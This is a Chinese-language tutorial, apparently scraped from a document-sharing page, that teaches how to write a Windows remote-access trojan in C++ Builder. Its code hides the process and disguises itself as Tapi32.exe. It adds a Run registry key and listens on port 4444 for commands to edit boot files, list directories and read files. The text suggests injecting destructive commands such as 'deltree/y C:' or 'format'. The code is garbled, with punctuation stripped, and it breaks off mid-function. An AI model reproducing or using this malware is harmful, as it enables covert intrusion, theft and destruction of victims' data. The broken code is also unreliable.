木马是如何编写的Word文件下载.docx

1、Socket最初是在Unix上出现的，后来微软将它引入了Windows中（包括Win98和WinNt）；后两个控件的作用是用来使程序具有FTP（File Transfer Protocol文件传输协议）和SMTP（Simple Mail Transfer Protocol简单邮件传输协议）功能，大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。Form窗体是可视的，这当然是不可思议的。不光占去了大量的空间（光一个Form就有300K之大），而且使软件可见，根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form，就像Delphi用过程实现的小程序一般只有17K左右那样。我们首

2、先应该让我们的程序能够隐身。双击Form，首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘，其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此，只要将我们的程序在进程数据库中用RegisterServiceProcess（）函数注册成服务进程（Service Process）就可以了。不过该函数的声明在Borland预先打包的头文件中没有，那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。首先判断目标机的操作系统是Win9x还是WinN

3、t：DWORD dwVersion = GetVersion（）;/ 得到操作系统的版本号if （dwVersion = 0x80000000）/ 操作系统是Win9x，不是WinNt typedef DWORD （CALLBACK* LPREGISTERSERVICEPROCESS）（DWORD,DWORD）;/定义RegisterServiceProcess（）函数的原型HINSTANCE hDLL;LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;hDLL = LoadLibrary（KERNEL32）;/加载RegisterServic

4、eProcess（）函数所在的动态链接库KERNEL32.DLL lpRegisterServiceProcess = （LPREGISTERSERVICEPROCESS）GetProcAddress（hDLL,RegisterServiceProcess/得到RegisterServiceProcess（）函数的地址lpRegisterServiceProcess（GetCurrentProcessId（）,1）;/执行RegisterServiceProcess（）函数,隐藏本进程FreeLibrary（hDLL）;/卸载动态链接库这样就终于可以隐身了（害我敲了这么多代码！）。为什么要判断

5、操作系统呢？因为WinNt中的进程管理器可以对当前进程一览无余，因此没必要在WinNt下也使用以上代码（不过你可以使用其他的方法，这个留到后面再讲）。接着再将自己拷贝一份到%System%目录下，例如：C:WindowsSystem，并修改注册表，以便启动时自动加载：char TempPathMAX_PATH;/定义一个变量GetSystemDirectory（TempPath ,MAX_PATH）;/TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小，得到目标机的System目录路径SystemPath=AnsiString（TempPath）;/格式化TempP

6、ath字符串，使之成为能供编译器使用的样式CopyFile（ParamStr（0）.c_str（）, AnsiString（SystemPath+Tapi32.exe）.c_str（） ,FALSE）;/将自己拷贝到%System%目录下，并改名为Tapi32.exe，伪装起来Registry=new TRegistry;/定义一个TRegistry对象，准备修改注册表，这一步必不可少Registry-RootKey=HKEY_LOCAL_MACHINE;/设置主键为HKEY_LOCAL_MACHINEOpenKey（SoftwareMicrosoftWindowsCurrentVersion

7、Run,TRUE）;/打开键值SoftwareMicrosoftWindowsCurrentVersionRun，如果不存在，就创建之try/如果以下语句发生异常，跳至catch，以避免程序崩溃if（Registry-ReadString（crossbow）!=SystemPath+） Registry-WriteString（,SystemPath+ /查找是否有“crossbow”字样的键值，并且是否为拷贝的目录%System%+Tapi32.exe/如果不是，就写入以上键值和内容catch（.）/如果有错误，什么也不做好，FormCreate过程完成了，这样每次启动都可以自动加载Tapi

8、32.exe，并且在“关闭程序”对话框中看不见本进程了，木马的雏形初现。接着选中ServerSocket控件，在左边的Object Inspector中将Active改为true，这样程序一启动就打开特定端口，处于服务器工作状态。再将Port填入4444，这是木马的端口号，当然你也可以用别的。但是你要注意不要用1024以下的低端端口，因为这样不但可能会与基本网络协议使用的端口相冲突，而且很容易被发觉，因此尽量使用1024以上的高端端口（不过也有这样一种技术，它故意使用特定端口，因为如果引起冲突，Windows也不会报错 _）。你可以看一看TNMFTP控件使用的端口，是21号端口，这是FTP协议

9、的专用控制端口（FTP Control Port）；同理TNMSMTP的25号端口也是SMTP协议的专用端口。再选中ServerSocket控件，点击Events页，双击OnClientRead事件，敲入以下代码：FILE *fp=NULL;char * content;int times_of_try;char TempFileMAX_PATH;/定义了一堆待会儿要用到的变量sprintf（TempFile, %s, AnsiString（SystemPath+AnsiString（Win369.BAT）.c_str（）;/在%System%下建立一个文本文件Win369.bat，作为临时文

10、件使用AnsiString temp=Socket-ReceiveText（）;/接收客户端（攻击者，也就是你自己）传来的数据好，大门敞开了！接着就是修改目标机的各种配置了！_ 首先我们来修改Autoexec.bat和Config.sys吧：if（temp.SubString（0,9）=edit conf/如果接受到的字符串的前9个字符是“edit conf”int number=temp.Length（）;/得到字符串的长度int file_name=atoi（temp.SubString（11,1）.c_str（）;/将第11个字符转换成integer型，存入file_name变量/为什么

11、要取第11个字符，因为第10个字符是空格字符content=（temp.SubString（12,number-11）+n）.c_str（）;/余下的字符串将被作为写入的内容写入目标文件FILE *fp=NULL;char filename20;chmod（c:autoexec.bat,S_IREAD|S_IWRITE）;config.sys/将两个目标文件的属性改为可读可写if（file_name=1）sprintf（filename,/如果第11个字符是1,就把Autoexec.bat格式化else if（file_name=2）/如果第11个字符是1,就把Config.sys格式化tim

12、es_of_try=0; /定义计数器while（fp=NULL）/如果指针是空fp=fopen（filename,a+/如果文件不存在，创建之；如果存在，准备在其后添加/如果出错，文件指针为空，这样就会重复times_of_try=times_of_try+1;/计数器加1if（times_of_try100） /如果已经试了100次了，仍未成功 Socket-SendText（Fail By Open File /就发回“Fail By Open File”的错误信息 goto END; /跳至END处fwrite（content,sizeof（char）,strlen（content）,

13、fp）;/写入添加的语句，例如deltree/y C:或者format/q/autotest C:，够毒吧？fclose（fp）;/写完后关闭目标文件Socket-Sucess/然后发回“Success”的成功信息 你现在可以通过网络来察看目标机上的这两个文件了，并且还可以向里面随意添加任何命令。呵呵，这只不过是牛刀小试罢了。朋友，别走开上回我们讲到如何修改目标机上的启动配置文件，这回我们就来查看目标机上的目录树和文件吧，这在客户端上使用“dir”命令，跟着敲啰：else if（temp.SubString（0,3）=dir）file:/如果前3个字符是“dir”int Read_Num;ch

14、ar * CR_LF=n;int attrib;char *filename;DIR *dir;struct dirent *ent;int number=temp.Length（）;/得到字符串的长度AnsiString Dir_Name=temp.SubString（5,number-3）;/从字符串第六个字符开始，将后面的字符存入Dir_Name变量，这是目录名if（Dir_Name=） /如果目录名为空 Socket-SendText（Fail By Open DIRs Name）; file:/返回“Fail By Open DIRs Name”信息 goto END;/跳到END

15、char * dirname;dirname=Dir_Name.c_str（）;if （dir = opendir（dirname） = NULL）/如果打开目录出错SendText（Fail by your DIRs name!/返回“Fail By Your DIRs Name”信息times_of_try=0;while（fp=NULL）/如果指针是NULL fp=fopen（TempFile,w+）;/就创建systemWin369.bat准备读和写；如果此文件已存在，则会被覆盖 times_of_try=times_of_try+1;/计数器加1 if（times_of_try /如

16、果已经试了100次了，仍未成功（真有耐心！SendText（Fail By Open File）;/就发回“Fail By Open File”的错误信息/并跳到END处while （ent = readdir（dir） != NULL）/如果访问目标目录成功 if（*（AnsiString（dirname）.AnsiLastChar（）!=）/如果最后一个字符不是“”，证明不是根目录 filename=（AnsiString（dirname）+ent-d_name）.c_str（）;/加上“”字符后将指针指向目录流 else filename=（AnsiString（dirname）+ent

17、-/如果是根目录，则不用加“” attrib=_rtl_chmod（filename, 0）;/得到目标文件的访问属性 if （attrib & FA_RDONLY）/“&”字符是比较前后两个变量，如果相同返回1,否则返回0 fwrite（ R,sizeof（char）,3,fp）;/将目标文件属性设为只读 fwrite（ ,sizeof（char）,3,fp）;/失败则写入空格 FA_HIDDEN） fwrite（H,sizeof（char）,1,fp）;/将目标文件属性设为隐藏 fwrite（ ,sizeof（char）,1,fp）; FA_SYSTEM） fwrite（S,sizeof（

18、char）,1,fp）;/将目标文件属性设为系统 FA_ARCH） fwrite（A,sizeof（char）,1,fp）;/将目标文件属性设为普通 FA_DIREC） fwrite（ ,sizeof（char）,9,fp）;/将目标文件属性设为目录 fwrite（ent-d_name,sizeof（char）,strlen（ent-d_name）,fp）;/将目录名写入目标文件 fwrite（CR_LF,1,1,fp）;/写入换行 fclose（fp）;/关闭文件 closedir（dir）;/关闭目录 FILE *fp1=NULL; times_of_try=0; while（fp1=NU

19、LL） fp1=fopen（TempFile,r）;/打开Win369.bat准备读/如果已经试了100次了，仍未成功 AnsiString Return_Text=; char temp_content300; for（int i=0;i300;i+） temp_content=0;/定义的一个空数组 Read_Num=fread（temp_content,1,300,fp1）;/从目标文件中读入前300个字符 while（Read_Num=300） Return_Text=Return_Text+temp_content;/Return_Text变量加上刚才的300个字符/重复 ; fcl

20、ose（fp1）;/关闭目标文件SendText（Return_Text）;/返回Return_Text变量的内容够长吧？察看目录树这么费劲啊？你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了，Client将使用“type”命令，（手指累不累啊？）：else if（temp.SubString（0,4）=type）/如果前4个字符是“type”AnsiString File_Name=temp.SubString（6,number-4）;/将目标文件流存入File_Name变量中 fp=fopen（File_Name.c_str（）,r）;/打开目标文件准备读/如果已试了100次了/返回“Fail By Open File”的错误信息AnsiString Return_Text=;char temp_content300;for（int i=0;/定义一个空数组Re